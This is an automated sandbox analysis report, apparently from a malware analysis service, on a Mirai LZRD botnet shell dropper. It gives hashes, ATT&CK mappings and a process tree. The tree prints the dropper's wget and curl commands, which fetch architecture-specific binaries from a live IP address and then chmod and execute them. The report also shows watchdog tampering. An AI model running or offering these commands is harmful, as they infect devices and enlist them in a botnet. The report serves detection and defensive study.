mirai | 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3

Analysis

max time kernel
12s
max time network
84s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27-12-2024 07:52

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General

Target

1.sh
Size

2KB
MD5

e182ba2d64359a90a25281b53cdd0b14
SHA1

d8450d776b48b8834a1c607402eebf97bc0a126b
SHA256

86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3
SHA512

71e3f17025d636f8ccbd469bfc6ddeb7ea14bd71a952ad83058c3fb04141039688f6e178d7f3944627aedd1e7ea2c4924d7b452d9e4db192827bf3339624321d

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
765	chmod
678	chmod
684	chmod
697	chmod
713	chmod
729	chmod
748	chmod
759	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/Space	679	Space
/tmp/Space	685	Space
/tmp/Space	698	Space
/tmp/Space	714	Space
/tmp/Space	731	Space
/tmp/Space	749	Space
/tmp/Space	760	Space
/tmp/Space	766	Space

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx
behavioral2/files/fstream-9.dat	upx

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/2/status	Space
File opened for reading	/proc/4/status	Space
File opened for reading	/proc/18/status	Space
File opened for reading	/proc/115/status	Space
File opened for reading	/proc/207/status	Space
File opened for reading	/proc/227/status	Space
File opened for reading	/proc/323/status	Space
File opened for reading	/proc/599/status	Space
File opened for reading	/proc/643/status	Space
File opened for reading	/proc/648/status	Space
File opened for reading	/proc/769/status	Space
File opened for reading	/proc/6/status	Space
File opened for reading	/proc/10/status	Space
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/status	Space
File opened for reading	/proc/42/status	Space
File opened for reading	/proc/81/status	Space
File opened for reading	/proc/112/status	Space
File opened for reading	/proc/642/status	Space
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/672/status	Space
File opened for reading	/proc/737/status	Space
File opened for reading	/proc/self/exe	Space
File opened for reading	/proc/23/status	Space
File opened for reading	/proc/316/status	Space
File opened for reading	/proc/597/status	Space
File opened for reading	/proc/637/status	Space
File opened for reading	/proc/645/status	Space
File opened for reading	/proc/41/status	Space
File opened for reading	/proc/687/status	Space
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/7/status	Space
File opened for reading	/proc/8/status	Space
File opened for reading	/proc/15/status	Space
File opened for reading	/proc/16/status	Space
File opened for reading	/proc/24/status	Space
File opened for reading	/proc/310/status	Space
File opened for reading	/proc/595/status	Space
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/19/status	Space
File opened for reading	/proc/27/status	Space
File opened for reading	/proc/579/status	Space
File opened for reading	/proc/12/status	Space
File opened for reading	/proc/17/status	Space
File opened for reading	/proc/26/status	Space
File opened for reading	/proc/103/status	Space
File opened for reading	/proc/149/status	Space
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/20/status	Space
File opened for reading	/proc/43/status	Space
File opened for reading	/proc/114/status	Space
File opened for reading	/proc/159/status	Space
File opened for reading	/proc/290/status	Space
File opened for reading	/proc/313/status	Space
File opened for reading	/proc/766/status	Space
File opened for reading	/proc/14/status	Space
File opened for reading	/proc/145/status	Space
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/22/status	Space

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
717	wget
722	curl
728	cat
734	wget
739	curl
746	cat

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Space.x86_64	curl
File opened for modification	/tmp/Space.arm	wget
File opened for modification	/tmp/Space.mpsl	wget
File opened for modification	/tmp/Space.arm	curl
File opened for modification	/tmp/Space	1.sh
File opened for modification	/tmp/Space.x86	wget
File opened for modification	/tmp/Space.x86_64	wget
File opened for modification	/tmp/Space.i686	curl
File opened for modification	/tmp/Space.x86	curl
File opened for modification	/tmp/Space.i686	wget
File opened for modification	/tmp/Space.mips64	curl
File opened for modification	/tmp/Space.mips	curl
File opened for modification	/tmp/Space.mpsl	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Space.arc	wget
File opened for modification	/tmp/Space.arc	curl
File opened for modification	/tmp/Space.mips	wget

/tmp/1.sh
/tmp/1.sh
1⤵
- Writes file to tmp directory
PID:645
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:647
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:654
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:666
- /bin/cat
  cat Space.arc
  2⤵
  PID:676
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:679
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/cat
  cat Space.x86
  2⤵
  PID:683
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:685
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat Space.x86_64
  2⤵
  PID:695
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:698
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:700
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/cat
  cat Space.i686
  2⤵
  PID:711
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:714
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/cat
  cat Space.mips
  2⤵
  - System Network Configuration Discovery
  PID:728
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:731
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  PID:734
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mips64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat Space.mips64
  2⤵
  - System Network Configuration Discovery
  PID:746
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:749
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mpsl
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:755
- /bin/cat
  cat Space.mpsl
  2⤵
  PID:758
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat Space.arm
  2⤵
  PID:764
- /bin/chmod
  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-ZNObmM
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:766
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm5
  2⤵
  PID:802

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Space

Filesize
37KB

MD5
86b0dbac78477aca5c3dd080ba53e837

SHA1
2542925378bca24e31bfcbfb9197cb0ba874fb21

SHA256
43a4a0183be4f67dc7757fd2068e7c3a604423abe3b5e71ad03b9f382a70899f

SHA512
6189287779a998d158de62b5b434338f7cfb556b92dc11280f0bbb6bedc267864c6b48085c80109169204f1d27b12abb5a268fa58da57b2d6200eb4d6eb25758

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/tmp/Space

Filesize
36KB

MD5
d247ab84c9c090053b129afa0e59bfff

SHA1
0710e52bdb6ee2c8c4d0d1f88b402f1584d7d3cc

SHA256
0d6e8522651a07c5b58e1abafb454b35ee08238a9a7512e50e37e72c1b17dfbd

SHA512
994e66ff08246807783f8ca10df97ebef03fa05aa1ef3eac7f08f285b1057d5e2bb6c5159f6731380a3014e7d2e4a2596e0a9f6cbd1a1f147ae23123adc77520

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/tmp/Space

Filesize
37KB

MD5
2e192eaf9a8107d21822c3ca2ae74c8d

SHA1
706b0e0202ab2e9e30623be13f29ff219bf1a623

SHA256
4b7b6dfeedc4816a5a879af9e4b2cc9b9fc16a423190af9aa733eb5f4b6b50a3

SHA512
a956f3968b06ddc76ce2c1a688aeafaa6132ac38cd363e70e3adbece850baf71c519470769fd9ed6cf67dfd758ad2f38c07ec81860e32b36c0b1037ab7d77072

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/tmp/Space

Filesize
43KB

MD5
bfaa04ccd012b09be805bd489a4775bb

SHA1
de53bbdf475cdb83582b2018196ad1d4b8719547

SHA256
421d80f8efd39afb7cfa2bc967026786261fd4267497db25bf33e37d5ee88e47

SHA512
a6da645dba966dd2aed51876d49462c3af0a8847941da447110cb145e5fea372d184705ade19ac56d5d6741a5923bfeb3f94b9c2c539f0588d92f91c12c05fb6

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/tmp/Space

Filesize
43KB

MD5
37814cf80cb0e8085194e1cf889f1a6f

SHA1
a1a6fe66714d4547ad3a6eee120098100b86e585

SHA256
ea1726caced0d7ef3b50e8a1dce83b0949e17aad92b00b8d9b1d88136850a957

SHA512
ec69e6606a78f2910635a44d482fc7bb29566ee2ab739722c1e1612aa0854114acc48e2a26d845bf63acfa4db7fe8f278c5ec95731f83e66ef936c194566c15b

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/tmp/Space.arc

Filesize
113KB

MD5
cafba952355d27a129910f5e4f3f99ce

SHA1
61baaf26de5da12a2941ec73ae7bd8fd8f37f704

SHA256
2fcfb888bc32cadee51779121fe4de505b22668a6a05ad3d50780fa2b3774d37

SHA512
86b847fe57dd5c4dab277b5f966c1b46899c86c0e4c6a2a1b50838d3b2d47ad79c9944c96c85b2b4f1e68bcba02fd4890aa3452a7cc80778876ede679b3ea730

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/tmp/busybox

Filesize
507KB

MD5
e588bcf03ae78237b58899d35f50c570

SHA1
2194732ebbefbc27bdae876c77f2a97a20175710

SHA256
2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

SHA512
904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads